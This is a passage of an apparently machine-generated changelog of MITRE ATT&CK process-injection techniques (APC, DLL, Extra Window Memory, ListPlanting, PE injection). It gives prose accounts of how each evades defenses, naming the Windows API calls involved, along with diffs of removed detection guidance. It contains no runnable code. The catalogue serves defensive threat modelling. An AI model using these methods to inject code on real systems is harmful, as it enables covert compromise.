"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:47.843000+00:00", + "modified": "2025-10-24 17:48:43.053000+00:00", + "name": "Process Injection", + "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055", + "external_id": "T1055" + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "ArtOfMemoryForensics", + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Anastasios Pingios", + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: Process Modification\", \"File: File Modification\", \"Process: Process Metadata\", \"File: File Metadata\", \"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.053000+00:00\", \"old_value\": \"2025-04-16 20:37:16.893000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \\n\\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n\\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n\\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \\n-\\n-Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n-\\n-Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n-\\n-Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Metadata)", + "DS0009: Process (Process Modification)", + "DS0011: Module (Module Load)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0508: Behavioral Detection of Process Injection Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:29:43.786000+00:00", + "modified": "2025-10-24 17:49:00.298000+00:00", + "name": "Asynchronous Procedure Call", + "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/004", + "external_id": "T1055.004" + }, + { + "source_name": "Microsoft APC", + "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx" + }, + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + }, + { + "source_name": "ENSIL AtomBombing Oct 2016", + "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.", + "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows" + }, + { + "source_name": "Microsoft Atom Table", + "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Access\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.298000+00:00\", \"old_value\": \"2025-04-25 14:47:11.435000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0100: Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:26:08.145000+00:00", + "modified": "2025-10-24 17:49:36.680000+00:00", + "name": "Dynamic-link Library Injection", + "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/001", + "external_id": "T1055.001" + }, + { + "source_name": "Hiding Malicious Code with Module Stomping", + "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.", + "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/" + }, + { + "source_name": "Elastic HuntingNMemory June 2017", + "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/hunting-memory" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Module Stomping for Shellcode Injection", + "description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.", + "url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Boominathan Sundaram" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Metadata\", \"Process: Process Access\", \"Process: Process Modification\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.680000+00:00\", \"old_value\": \"2025-04-16 20:37:22.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Metadata)", + "DS0009: Process (Process Modification)", + "DS0011: Module (Module Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0389: Behavioral Detection of DLL Injection via Windows API" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 17:18:32.126000+00:00", + "modified": "2025-10-24 17:48:19.059000+00:00", + "name": "Extra Window Memory Injection", + "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/011", + "external_id": "T1055.011" + }, + { + "source_name": "Microsoft Window Classes", + "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx" + }, + { + "source_name": "Microsoft GetWindowLong function", + "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx" + }, + { + "source_name": "Microsoft SetWindowLong function", + "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "MalwareTech Power Loader Aug 2013", + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + }, + { + "source_name": "Microsoft SendNotifyMessage function", + "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.059000+00:00\", \"old_value\": \"2025-04-25 14:45:37.275000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0217: Detection Strategy for Extra Window Memory (EWM) Injection on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-11-22 15:02:15.190000+00:00", + "modified": "2025-10-24 17:49:33.701000+00:00", + "name": "ListPlanting", + "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/015", + "external_id": "T1055.015" + }, + { + "source_name": "Hexacorn Listplanting", + "description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.", + "url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/" + }, + { + "source_name": "ESET InvisiMole June 2020", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" + }, + { + "source_name": "Microsoft List View Controls", + "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.", + "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview" + }, + { + "source_name": "Modexp Windows Process Injection", + "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.", + "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.701000+00:00\", \"old_value\": \"2025-04-15 19:59:18.862000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \\n\\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\\n\\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \\n-\\n-Consider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\\n-\\n-Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0331: Detection Strategy for ListPlanting Injection on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:27:31.344000+00:00", + "modified": "2025-10-24 17:49:01.839000+00:00", + "name": "Portable Executable Injection", + "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": 